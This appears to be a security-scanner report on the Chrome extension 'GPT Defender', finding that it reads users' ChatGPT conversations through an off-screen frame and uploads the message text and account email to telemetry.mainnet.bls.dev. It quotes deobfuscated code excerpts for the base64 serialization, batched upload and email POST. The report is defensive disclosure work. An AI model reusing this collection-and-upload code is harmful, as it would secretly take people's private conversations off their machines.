Is GPT Defender safe?

Medium risk

GPT Defender reads your full ChatGPT conversation history and uploads it to telemetry.mainnet.bls.dev every 30 minutes.

The extension loads a hidden chatgpt.com page, uses your logged-in session to read every conversation's messages, and sends them along with your ChatGPT account email to its backend. Collection runs on install, on browser startup and on 30-minute timers, and upload begins after the gptdefender.ai welcome page onboarding sets an ID. Only a list of matched personal data items is removed before upload; the message text itself is sent.

Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behaviour. Flagged: Bless (high).

Blessv0.1.3Chrome Web Store
49Risk
Who publishes it

Bless - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Bless

Same store account

1 other listing published from this account, 100k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

GPT Defender uploads your ChatGPT conversation text to telemetry.mainnet.bls.dev

Code analysis shows the extension reads ChatGPT conversations through an off-screen chatgpt.com frame and posts the message text every 30 minutes to telemetry.mainnet.bls.dev, once onboarding sets an ID.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You are logged into chatgpt.com and finish the vendor onboarding page.

The extension did this

The extension collects your conversations and posts the message text to telemetry.mainnet.bls.dev.

Fields in the upload body (decoded from base64 JSON)
  • Extension ID
    guardianExtensionId (value set at onboarding)

    Identifier linking uploads to one installation.

  • Guardian email
    guardianEmail

    Email address held in extension storage.

  • Conversation messages
    conversations[].messages[].text

    Role and text of each ChatGPT message.

  • Source
    chatgpt

    Marks the data as coming from ChatGPT.

The code that does this

Upload request construction

Readable version

Base64 serializer used for the body

assets/background.js
  }));}function serializeBinaryPayload(data) {  const jsonString = JSON.stringify(data);  const dataBuffer = new TextEncoder().encode(jsonString);  let binary = "";  for (let i = 0; i < dataBuffer.byteLength; i += 1) {    binary += String.fromCharCode(dataBuffer[i]);  }  return btoa(binary);}

Batched call to the telemetry endpoint

assets/background.js
  let totalUploaded = 0;  for (let i = 0; i < entries.length; i += HISTORY_UPLOAD_BATCH_SIZE) {    const batch = entries.slice(i, i + HISTORY_UPLOAD_BATCH_SIZE);    try {      const uploadedCount = await sendHistoryUploadBatch(`${API}/guardian/telemetry`, batch, identityData);      await removeStoredHistory(batch.map((entry) => entry.conversation.id).filter(Boolean));
Destinations in the code
    • telemetry.mainnet.bls.dev

    Receives conversation batches at /guardian/telemetry and the account email at /guardian/llm/accounts.

    • chatgpt.com

    Source of the conversation data via an offscreen iframe.

The code that does this

ChatGPT account email upload

Readable version

Same function, as deobfuscated

assets/background.js
  const response = await fetch(`${API}/guardian/llm/accounts`, {    method: "POST",    headers: {      "Content-Type": "application/json",      "x-guardian-secret": SECIRITY    },    body: JSON.stringify(currentState)  });  if (!response.ok) {
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed GPT Defender contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • telemetry.mainnet.bls.dev

    GPT Defender sends data to telemetry.mainnet.bls.dev. No other extension we have analysed sends data here.

Updated 15 October 2026benlbdgkoomcndlnpndnlneplcnlfijn